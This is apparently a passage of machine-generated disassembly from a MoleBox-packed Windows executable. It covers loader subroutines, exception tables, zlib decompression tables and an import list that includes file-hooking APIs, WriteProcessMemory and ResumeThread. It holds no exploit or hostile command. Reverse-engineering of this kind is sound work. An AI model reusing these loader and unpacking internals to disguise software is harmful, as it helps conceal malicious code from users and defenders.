sub_50D9F3+53j mov eax, [ebp+var_24] mov [esi], eax lea eax, [ebp+var_38] push eax call sub_50CF00 pop ecx loc_50DA6E: ; CODE XREF: sub_50D9F3+3Fj ; sub_50D9F3+66j ... pop edi pop esi leave retn sub_50D9F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50DA72 proc near ; DATA XREF: sub_50CF41+41o var_4 = dword ptr -4 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] imul eax, [ebp+arg_8] push eax call sub_50835A pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_50DA72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50DA8C proc near ; DATA XREF: sub_50CF41+50o var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax push [ebp+var_4] call sub_5083DD pop ecx leave retn sub_50DA8C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50DAB0 proc near ; CODE XREF: sub_4FDB8D+5j ; _5:004FDB97j push ebp mov ebp, esp push offset aApiNopefunc ; ":API:NopeFunc" call sub_5084F7 pop ebp retn sub_50DAB0 endp ; sp-analysis failed _5 ends ; Section 7. (virtual address 0010E000) ; Virtual size : 00000D76 ( 3446.) ; Section size in file : 00000D76 ( 3446.) ; Offset to raw data for section: 0010E000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _6 segment para public 'CODE' use32 assume cs:_6 ;org 50E000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing dword_50E000 dd 77E79908h ; DATA XREF: sub_4FD2E0+3ADr ; sub_4FD2E0+3B8r ... dword_50E004 dd 77E7A5FDh ; DATA XREF: sub_4FD2E0+1D9r ; sub_4FD2E0+1EDr ... dword_50E008 dd 77E79A45h ; DATA XREF: sub_4FD2E0+1A5r ; sub_4FD2E0+398r ... dword_50E00C dd 77E6D706h ; DATA XREF: sub_4FD2E0+12Br ; sub_4FD2E0+173r ... dword_50E010 dd 77E79881h ; DATA XREF: sub_4FD2E0+1Ar ; sub_4FD2E0+108r ... dword_50E014 dd 77E79F93h ; DATA XREF: sub_4FD2E0+Ar ; sub_4FD2E0+1B0r ... dword_50E018 dd 77F7E300h ; DATA XREF: sub_4FC060+4r ; sub_4FF12B+15r ... dword_50E01C dd 77F7E21Fh ; DATA XREF: sub_4FC000+2Cr ; sub_4FF036+65r ... dword_50E020 dd 77E6C10Bh ; DATA XREF: sub_502DD0+1A1r dword_50E024 dd 77E6E154h ; DATA XREF: sub_5071C3+114r dword_50E028 dd 77E61A90h ; DATA XREF: sub_507494+3Ar ; sub_507494+7Cr ... dword_50E02C dd 77E62050h ; DATA XREF: sub_50ADDE+3Fr dword_50E030 dd 77E641EBh ; DATA XREF: sub_4FCDBF+59r ; sub_4FCDBF+8Dr dword_50E034 dd 77E781F9h ; DATA XREF: sub_4FCA80+42r ; sub_4FCA80+14Dr ... dword_50E038 dd 77E77405h ; DATA XREF: sub_4FCA80+5Er ; sub_4FCA80+A7r dword_50E03C dd 77F6183Eh ; DATA XREF: sub_4FCF68r dword_50E040 dd 77E79924h ; DATA XREF: sub_4FCA80+20Dr dword_50E044 dd 77E77CCEh ; DATA XREF: sub_4FCA80+DFr ; sub_4FCA80+137r ... dword_50E048 dd 77E7C866h ; DATA XREF: sub_4FCDBF+3Fr ; sub_4FCDBF+12Dr align 10h dword_50E050 dd 77D46F5Bh ; DATA XREF: sub_4FC15E+ADr dword_50E054 dd 77D4B1B0h ; DATA XREF: sub_4FC271+B8r align 10h dword_50E060 dd 10h ; DATA XREF: sub_50BC4B+36Fr ; sub_50BC4B+3A0r dd 11h, 12h, 0 dd 8, 7, 9, 6, 0Ah, 5, 0Bh, 4, 0Ch, 3, 0Dh, 2, 0Eh, 1 dd 0Fh, 0FFFF0000h dword_50E0B0 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Dh, 0Fh, 11h, 13h, 17h ; DATA XREF: sub_50D7AC+48o dd 1Bh, 1Fh, 23h, 2Bh, 33h, 3Bh, 43h, 53h, 63h, 73h, 83h dd 0A3h, 0C3h, 0E3h, 102h, 2 dup(0) dword_50E12C dd 8 dup(0) ; DATA XREF: sub_50D7AC+43o dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0 dd 2 dup(70h) dword_50E1A8 dd 1, 2, 3, 4, 5, 7, 9, 0Dh, 11h, 19h, 21h, 31h, 41h, 61h ; DATA XREF: sub_50D7AC+81o dd 81h, 0C1h, 101h, 181h, 201h, 301h, 401h, 601h, 801h dd 0C01h, 1001h, 1801h, 2001h, 3001h, 4001h, 6001h dword_50E220 dd 4 dup(0) ; DATA XREF: sub_50D7AC+7Co dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6) dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh) dd 2 dup(0Ch), 2 dup(0Dh) dword_50E298 dd 0FFFFFFFFh, 0 ; DATA XREF: _5:004FEBB5o dd offset sub_4FEDE4 align 8 dd offset loc_4FEDB2+2 dd offset loc_4FEDBA dword_50E2B0 dd 0FFFFFFFFh, 0 ; DATA XREF: _5:004FEE35o dd offset sub_4FF00C align 10h dword_50E2C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4FF036+5o dd offset sub_4FF12B align 10h dword_50E2D0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4FF252+5o dd offset sub_4FF61F align 10h dword_50E2E0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4FC000+5o dd offset sub_4FC05D align 10h dword_50E2F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4FF6DE+5o ; --------------------------------------------------------------------------- jmp near ptr dword_5132F4 ; --------------------------------------------------------------------------- align 10h dword_50E300 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4FF818+5o dd offset sub_4FF91D align 10h dword_50E310 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4FF94C+5o dd offset sub_4FFCA7 dd 2 dup(0) dd offset sub_4FFA93 dword_50E328 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4FFD24+5o dd offset loc_4FFE9E align 8 dword_50E338 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4FFECD+5o dd offset loc_4FFF90 align 8 dword_50E348 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4FFFBF+5o dd offset loc_5001D1 align 8 dword_50E358 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_500216+5o dd offset sub_500317 align 8 dword_50E368 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_500421+5o dd offset sub_500643 align 8 dword_50E378 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_500672+5o dd offset sub_500712 align 8 dword_50E388 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_500741+5o dd offset loc_500829 align 8 dword_50E398 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_500858+5o dd offset sub_500921 align 8 dword_50E3A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_500950+5o dd offset sub_5009E1 align 8 dword_50E3B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_500C5C+5o dd offset sub_500E9D align 8 dword_50E3C8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_501177+5o dd offset sub_501441 align 8 dword_50E3D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50153F+5o dd offset sub_5018B0 align 8 dword_50E3E8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_5019D2+5o dd offset sub_501A8F align 8 dword_50E3F8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_501CC4+5o dd offset sub_502194 align 8 dword_50E408 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_502DD0+5o dd offset sub_5035A2 align 8 dd offset loc_503354 dd offset loc_503385 dword_50E420 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_503610+5o dd offset sub_504427 align 10h dword_50E430 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_504490+5o dd offset sub_50469C align 10h dword_50E440 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_5046D0+5o dd offset sub_504791 align 10h dword_50E450 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_5047BF+5o dd offset sub_50487F align 10h dword_50E460 dd 0FFFFFFFFh, 505388h, 50539Bh, 0 ; DATA XREF: sub_5050D0+5o dd offset loc_505250 dd offset loc_505264 dword_50E478 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_505456+5o dd offset loc_5056BB align 8 dword_50E488 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_505A41+5o dd offset sub_505AB3 align 8 dword_50E498 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_505BD7+5o dd offset nullsub_2 align 8 dd offset loc_505F3B dd offset loc_505F44 dd 2 dup(0) dd offset sub_505FCD align 10h dword_50E4C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_5061E1+5o dd offset sub_507085 align 10h dd offset sub_506B7F dd offset sub_506B88 dd 1, 0 dd offset sub_506B0E align 8 dword_50E4E8 dd 0FFFFFFFFh, 5072E3h, 50731Dh ; DATA XREF: sub_5071C3+5o off_50E4F4 dd offset aMoleboxLaunche ; DATA XREF: sub_508401+13r ; sub_508C27+252r ; "MoleBox launcher fatal error" off_50E4F8 dd offset aAssertionFai_2 ; DATA XREF: sub_4FF036+B6r ; sub_4FF94C+BFr ... ; "ASSERTION failed" off_50E4FC dd offset aStripped ; DATA XREF: sub_4FF036+BEr ; sub_4FF94C+C7r ... ; "<stripped>" dword_50E500 dd 0FFFFFFFFh, 508472h, 508476h, 0 ; DATA XREF: sub_508436+5o dword_50E510 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_508538+5o dd offset loc_5086FC align 10h dword_50E520 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_508726+5o dd offset sub_5087AB align 10h dword_50E530 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_5087CA+5o dd offset sub_508864 align 10h dword_50E540 dd 0FFFFFFFFh, 508BFBh, 508BFFh, 0 ; DATA XREF: sub_508A16+5o dword_50E550 dd 0FFFFFFFFh, 508FE0h, 508FE4h, 0 ; DATA XREF: sub_508EF3+5o dword_50E560 dd 0FFFFFFFFh, 50922Ch, 509230h, 0FFFFFFFFh, 5092A5h, 5092A9h ; DATA XREF: sub_50918E+5o dword_50E578 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_509518+5o dd offset loc_509615 align 8 dword_50E588 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_509638+5o dd offset sub_509696 align 8 dword_50E598 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_509789+5o dd offset loc_50989D align 8 dword_50E5A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_5098C0+5o dd offset loc_5099A2 dword_50E5B4 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ; DATA XREF: sub_509DD4+FBo ; sub_509DD4+15Fo ... dword_50E5C4 dd 33696467h, 6C642E32h, 6Ch ; DATA XREF: sub_509DD4+10Fo ; sub_50B23E+5o ... dword_50E5D0 dd 72657375h, 642E3233h, 6C6Ch ; DATA XREF: sub_509DD4+123o dword_50E5DC dd 33656C6Fh, 6C642E32h, 6Ch, 61766461h, 32336970h, 6C6C642Eh ; DATA XREF: sub_509518+C2o ; sub_509789+6Eo ... dd 0 dword_50E5F8 dd 61656C6Fh, 32337475h, 6C6C642Eh, 0 ; DATA XREF: sub_5099C5+30o ; sub_509A34+6Fo ... aSetunhandled_0 db 'SetUnhandledExceptionFilter',0 ; DATA XREF: _7:00511254o aCreatefilea_1 db 'CreateFileA',0 ; DATA XREF: _7:0051125Co aCreatefilew_0 db 'CreateFileW',0 ; DATA XREF: _7:00511264o aReadfile_2 db 'ReadFile',0 ; DATA XREF: _7:00511284o align 4 aClosehandle_1 db 'CloseHandle',0 ; DATA XREF: _7:0051128Co aSetfilepoint_1 db 'SetFilePointer',0 ; DATA XREF: _7:00511294o align 4 aGetfilesize_0 db 'GetFileSize',0 ; DATA XREF: _7:0051129Co aExitprocess_1 db 'ExitProcess',0 ; DATA XREF: _7:005112A4o aCreatefilema_2 db 'CreateFileMappingA',0 ; DATA XREF: _7:005112ACo align 10h aCreatefilema_3 db 'CreateFileMappingW',0 ; DATA XREF: _7:005112B4o align 4 aLoadlibrarya_0 db 'LoadLibraryA',0 ; DATA XREF: _7:005112D4o align 4 aLoadlibraryw db 'LoadLibraryW',0 ; DATA XREF: _7:005112DCo align 4 aLoadlibrarye_0 db 'LoadLibraryExA',0 ; DATA XREF: _7:005112E4o align 4 aLoadlibraryexw db 'LoadLibraryExW',0 ; DATA XREF: _7:005112ECo align 4 aFreelibrary_0 db 'FreeLibrary',0 ; DATA XREF: _7:005112CCo aGetprocaddre_0 db 'GetProcAddress',0 ; DATA XREF: _7:005112F4o align 10h aLoadimagea_0 db 'LoadImageA',0 ; DATA XREF: _7:005113DCo align 4 aMapviewoffil_0 db 'MapViewOfFile',0 ; DATA XREF: _7:005112BCo align 4 aUnmapviewoff_0 db 'UnmapViewOfFile',0 ; DATA XREF: _7:005112C4o aGetfileattri_3 db 'GetFileAttributesA',0 ; DATA XREF: _7:0051126Co align 10h aGetfileattri_4 db 'GetFileAttributesW',0 ; DATA XREF: _7:00511274o align 4 aGetfileattri_5 db 'GetFileAttributesExW',0 ; DATA XREF: _7:0051127Co align 4 aGetmodulehan_0 db 'GetModuleHandleA',0 ; DATA XREF: _7:00511354o align 10h aGetmodulehan_1 db 'GetModuleHandleW',0 ; DATA XREF: _7:0051135Co align 4 aGetmodulefil_1 db 'GetModuleFileNameA',0 ; DATA XREF: _7:005113ACo align 4 aGetmodulefil_2 db 'GetModuleFileNameW',0 ; DATA XREF: _7:005113B4o align 4 aGetlongpathn_1 db 'GetLongPathNameA',0 ; DATA XREF: _7:005113BCo align 10h aGetlongpathn_2 db 'GetLongPathNameW',0 ; DATA XREF: _7:005113C4o align 4 aSearchpathw db 'SearchPathW',0 ; DATA XREF: sub_50A226+B2o ; _7:00511364o aSearchpatha_0 db 'SearchPathA',0 ; DATA XREF: sub_50A1C7+Do ; _7:0051136Co aAddfontresou_0 db 'AddFontResourceA',0 ; DATA XREF: sub_50B23E+Ao ; _7:005113CCo align 10h aRemovefontre_0 db 'RemoveFontResourceA',0 ; DATA XREF: sub_50B277+Ao ; _7:005113D4o aFindfirstfil_1 db 'FindFirstFileA',0 ; DATA XREF: _7:005112FCo align 4 aFindfirstfilew db 'FindFirstFileW',0 ; DATA XREF: sub_50A361+92o ; _7:00511304o align 4 aFindclose_0 db 'FindClose',0 align 10h aFindnextfile_1 db 'FindNextFileA',0 ; DATA XREF: _7:0051131Co align 10h aFindnextfilew db 'FindNextFileW',0 ; DATA XREF: sub_50A657+2Eo ; _7:00511324o align 10h aFindfirstfilee db 'FindFirstFileExW',0 ; DATA XREF: sub_50A4AA+92o ; _7:0051130Co align 4 a_lopen db '_lopen',0 ; DATA XREF: sub_50B636+25o ; _7:00511334o align 4 aOpenfile db 'OpenFile',0 ; DATA XREF: sub_50B582+93o ; _7:0051132Co align 4 a_lread db '_lread',0 ; DATA XREF: sub_50B711+27o ; _7:00511344o align 10h a_llseek db '_llseek',0 ; DATA XREF: sub_50B6CC+20o ; _7:0051134Co a_lclose db '_lclose',0 ; DATA XREF: sub_50B677+23o ; _7:0051133Co aCocreateinstan db 'CoCreateInstance',0 ; DATA XREF: sub_509518+C7o ; _7:005113E4o align 4 aCocreateinst_0 db 'CoCreateInstanceEx',0 ; DATA XREF: sub_509789+73o ; _7:005113ECo align 4 aCogetclassobje db 'CoGetClassObject',0 ; DATA XREF: sub_5098C0+ACo ; _7:005113F4o align 4 aGetprivatepr_2 db 'GetPrivateProfileStringA',0 ; DATA XREF: _7:00511374o align 4 aGetprivatepr_3 db 'GetPrivateProfileIntA',0 ; DATA XREF: _7:0051137Co align 10h aGetprivatepr_4 db 'GetPrivateProfileSectionNamesA',0 ; DATA XREF: _7:00511384o align 10h aGetprivatepr_5 db 'GetPrivateProfileSectionA',0 ; DATA XREF: _7:0051138Co align 4 aGetfileinfor_0 db 'GetFileInformationByHandle',0 ; DATA XREF: _7:00511394o align 4 aLockfile_0 db 'LockFile',0 ; DATA XREF: _7:0051139Co align 4 aLockfileex db 'LockFileEx',0 align 10h aUnlockfile_0 db 'UnlockFile',0 ; DATA XREF: _7:005113A4o align 4 aUnlockfileex db 'UnlockFileEx',0 align 4 aGetrecordinf_0 db 'GetRecordInfoFromGuids',0 ; DATA XREF: sub_509A34+D2o ; _7:005113FCo align 4 aGetrecordinfof db 'GetRecordInfoFromTypeInfo',0 ; DATA XREF: sub_5099C5+35o align 10h aLoadregtypelib db 'LoadRegTypeLib',0 ; DATA XREF: sub_509B3C+84o ; _7:00511404o align 10h aLoadtypelib db 'LoadTypeLib',0 ; DATA XREF: sub_509A34+74o ; sub_509B3C+4Fo align 10h dword_50EA00 dd 0FFFFFFFFh, 50A115h, 50A119h, 0FFFFFFFFh, 50A129h, 50A12Dh ; DATA XREF: sub_50A0C8+5o dd 0FFFFFFFFh, 50A14Ah, 50A14Eh, 0FFFFFFFFh, 50A15Eh, 50A162h dd 0FFFFFFFFh, 50A183h, 50A187h, 0FFFFFFFFh, 50A197h, 50A19Bh dword_50EA48 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50A226+5o dd offset loc_50A311 align 8 dword_50EA58 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50A361+5o dd offset sub_50A480 align 8 dword_50EA68 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50A4AA+5o dd offset sub_50A5D5 align 8 dword_50EA78 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50A7DD+5o dd offset sub_50A886 align 8 dword_50EA88 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50A8AA+5o dd offset sub_50A9C8 align 8 dword_50EA98 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50AB3D+5o dd offset sub_50AC33 align 8 dword_50EAA8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50AEAA+5o dd offset loc_50AF44 align 8 dword_50EAB8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50AFC6+5o dd offset sub_50B052 align 8 dword_50EAC8 dd 0FFFFFFFFh, 50B0E2h, 50B0E6h, 0FFFFFFFFh, 0 ; DATA XREF: sub_50B076+5o dd offset sub_50B15D dword_50EAE0 dd 0FFFFFFFFh, 50B1C4h, 50B1C8h, 0 ; DATA XREF: sub_50B18D+5o dword_50EAF0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50B2FE+5o dd offset sub_50B3B1 dword_50EAFC dd 0 ; DATA XREF: sub_4FCA80+57o ; sub_4FCDBF+52o dword_50EB00 dd 2 dup(0) ; DATA XREF: sub_4FCA80+36o ; sub_4FCDBF+39o dword_50EB08 dd 0FFFFFFFFh, 4FCB90h, 4FCB94h, 0FFFFFFFFh, 4FCC44h, 4FCC48h ; DATA XREF: sub_4FCA80+5o dword_50EB20 dd 0FFFFFFFFh, 4FCEB8h, 4FCEBCh, 10EB68h, 2 dup(0) ; DATA XREF: sub_4FCDBF+5o dd 10ECB8h, 10E000h, 10EBB8h, 2 dup(0) dd 10ECEEh, 10E050h, 5 dup(0) dd 10EBC4h, 10EBE0h, 10EBF2h, 10EBFEh, 10EC10h, 10EC1Eh dd 10EC32h, 10EC4Ah, 10EC62h, 10EC76h, 10EC86h, 10EC9Ch dd 10ED52h, 10ED42h, 10ED32h, 10ECFAh, 10ED06h, 10ED1Ch dd 10ED64h, 0 dd 10ECC6h, 10ECD8h, 0 db 19h db 2, 49h, 6Eh aItializecrit_0 db 'itializeCriticalSection',0 dd 65470198h, 6F725074h, 64644163h, 73736572h, 2520000h dd 61636F4Ch, 6572466Ch, 29B0065h, 73696152h, 63784565h dd 69747065h, 6E6Fh, 6F4C024Eh, 416C6163h, 636F6C6Ch, 1770000h dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 2470000h aLeavecritica_1 db 'LeaveCriticalSection',0 align 2 aP_1 db '',0 aEntercritica_1 db 'EnterCriticalSection',0 align 2 dw 1ADh aGetshortpathna db 'GetShortPathNameA',0 dw 2C5h aResumethread db 'ResumeThread',0 align 2 dw 39Dh aWriteprocessme db 'WriteProcessMemory',0 align 4 db 90h db 1, 47h, 65h aTprivateprofil db 'tPrivateProfileSectionA',0 aKernel32_dll_2 db 'KERNEL32.dll',0 align 2 aO_2 db '',0 aDefwindowpro_0 db 'DefWindowProcA',0 align 4 db 2 align 2 aAdjustwindowre db 'AdjustWindowRectEx',0 align 2 aUser32_dll_2 db 'USER32.dll',0 align 2 retf 5202h ; --------------------------------------------------------------------------- aTlunwind db 'tlUnwind',0 dw 387h aWidechartomu_0 db 'WideCharToMultiByte',0 db 6Bh ; k db 2, 4Dh, 75h aLtibytetowidec db 'ltiByteToWideChar',0 dw 23Ah aLcmapstringa db 'LCMapStringA',0 align 2 dw 23Bh aLcmapstringw db 'LCMapStringW',0 align 2 dw 1B2h aGetstringtypea db 'GetStringTypeA',0 align 4 dd 654701B5h, 72745374h, 54676E69h, 57657079h db 2 dup(0) _6 ends ; Section 8. (virtual address 0010F000) ; Virtual size : 00007110 ( 28944.) ; Section size in file : 00007110 ( 28944.) ; Offset to raw data for section: 0010F000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _7 segment para public 'CODE' use32 assume cs:_7 ;org 50F000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing aInvalidBitLeng db 'invalid bit length repeat',0 ; DATA XREF: sub_50BC4B+81Do align 4 aTooManyLengthO db 'too many length or distance symbols',0 ; DATA XREF: sub_50BC4B+783o aInvalidStoredB db 'invalid stored block lengths',0 ; DATA XREF: sub_50BC4B+6CCo align 10h aInvalidBlockTy db 'invalid block type',0 ; DATA XREF: sub_50BC4B+66Bo align 4 aInvalidDistanc db 'invalid distance code',0 ; DATA XREF: sub_50C61A+4BBo ; sub_50CBEB+23Eo align 4 aInvalidLiteral db 'invalid literal/length code',0 ; DATA XREF: sub_50C61A+486o ; sub_50CBEB+28Do byte_50F0A8 db 31h ; DATA XREF: sub_50CF41+15r ; sub_50D9F3+2Fo db 2Eh, 31h, 2Eh dd 34h aNeedDictionary db 'need dictionary',0 ; DATA XREF: sub_50D043+307o aIncorrectDataC db 'incorrect data check',0 ; DATA XREF: sub_50D043+230o align 4 aIncorrectHeade db 'incorrect header check',0 ; DATA XREF: sub_50D043+ECo align 10h aInvalidWindowS db 'invalid window size',0 ; DATA XREF: sub_50D043+9Co aUnknownCompres db 'unknown compression method',0 ; DATA XREF: sub_50D043+79o align 10h dword_50F120 dd 9 ; DATA XREF: sub_50D8AF+6r dword_50F124 dd 5 ; DATA XREF: sub_50D8AF+11r dword_50F128 dd 760h, 100h, 800h, 50h, 800h, 10h, 854h, 73h, 752h, 1Fh ; DATA XREF: sub_50D8AF+1Co dd 800h, 70h, 800h, 30h, 900h, 0C0h, 750h, 0Ah, 800h, 60h dd 800h, 20h, 900h, 0A0h, 800h, 0 dd 800h, 80h, 800h, 40h, 900h, 0E0h, 750h, 6, 800h, 58h dd 800h, 18h, 900h, 90h, 753h, 3Bh, 800h, 78h, 800h, 38h dd 900h, 0D0h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B0h dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F0h, 750h, 4 dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h dd 800h, 34h, 900h, 0C8h, 751h, 0Dh, 800h, 64h, 800h, 24h dd 900h, 0A8h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E8h dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 98h, 754h, 53h dd 800h, 7Ch, 800h, 3Ch, 900h, 0D8h, 752h, 17h, 800h, 6Ch dd 800h, 2Ch, 900h, 0B8h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch dd 900h, 0F8h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C4h, 751h, 0Bh dd 800h, 62h, 800h, 22h, 900h, 0A4h, 800h, 2, 800h, 82h dd 800h, 42h, 900h, 0E4h, 750h, 7, 800h, 5Ah, 800h, 1Ah dd 900h, 94h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D4h dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B4h, 800h, 0Ah dd 800h, 8Ah, 800h, 4Ah, 900h, 0F4h, 750h, 5, 800h, 56h dd 800h, 16h, 8C0h, 0 dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CCh, 751h, 0Fh dd 800h, 66h, 800h, 26h, 900h, 0ACh, 800h, 6, 800h, 86h dd 800h, 46h, 900h, 0ECh, 750h, 9, 800h, 5Eh, 800h, 1Eh dd 900h, 9Ch, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DCh dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BCh, 800h, 0Eh dd 800h, 8Eh, 800h, 4Eh, 900h, 0FCh, 760h, 100h, 800h dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h dd 31h, 900h, 0C2h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h dd 0A2h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E2h, 750h dd 6, 800h, 59h, 800h, 19h, 900h, 92h, 753h, 3Bh, 800h dd 79h, 800h, 39h, 900h, 0D2h, 751h, 11h, 800h, 69h, 800h dd 29h, 900h, 0B2h, 800h, 9, 800h, 89h, 800h, 49h, 900h dd 0F2h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CAh, 751h, 0Dh, 800h dd 65h, 800h, 25h, 900h, 0AAh, 800h, 5, 800h, 85h, 800h dd 45h, 900h, 0EAh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h dd 9Ah, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DAh, 752h dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BAh, 800h, 0Dh, 800h dd 8Dh, 800h, 4Dh, 900h, 0FAh, 750h, 3, 800h, 53h, 800h dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h dd 0C6h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A6h, 800h dd 3, 800h, 83h, 800h, 43h, 900h, 0E6h, 750h, 7, 800h dd 5Bh, 800h, 1Bh, 900h, 96h, 754h, 43h, 800h, 7Bh, 800h dd 3Bh, 900h, 0D6h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h dd 0B6h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F6h, 750h dd 5, 800h, 57h, 800h, 17h, 8C0h, 0 dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CEh, 751h, 0Fh dd 800h, 67h, 800h, 27h, 900h, 0AEh, 800h, 7, 800h, 87h dd 800h, 47h, 900h, 0EEh, 750h, 9, 800h, 5Fh, 800h, 1Fh dd 900h, 9Eh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DEh dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BEh, 800h, 0Fh dd 800h, 8Fh, 800h, 4Fh, 900h, 0FEh, 760h, 100h, 800h dd 50h, 800h, 10h, 854h, 73h, 752h, 1Fh, 800h, 70h, 800h dd 30h, 900h, 0C1h, 750h, 0Ah, 800h, 60h, 800h, 20h, 900h dd 0A1h, 800h, 0 dd 800h, 80h, 800h, 40h, 900h, 0E1h, 750h, 6, 800h, 58h dd 800h, 18h, 900h, 91h, 753h, 3Bh, 800h, 78h, 800h, 38h dd 900h, 0D1h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B1h dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F1h, 750h, 4 dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h dd 800h, 34h, 900h, 0C9h, 751h, 0Dh, 800h, 64h, 800h, 24h dd 900h, 0A9h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E9h dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 99h, 754h, 53h dd 800h, 7Ch, 800h, 3Ch, 900h, 0D9h, 752h, 17h, 800h, 6Ch dd 800h, 2Ch, 900h, 0B9h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch dd 900h, 0F9h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C5h, 751h, 0Bh dd 800h, 62h, 800h, 22h, 900h, 0A5h, 800h, 2, 800h, 82h dd 800h, 42h, 900h, 0E5h, 750h, 7, 800h, 5Ah, 800h, 1Ah dd 900h, 95h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D5h dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B5h, 800h, 0Ah dd 800h, 8Ah, 800h, 4Ah, 900h, 0F5h, 750h, 5, 800h, 56h dd 800h, 16h, 8C0h, 0 dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CDh, 751h, 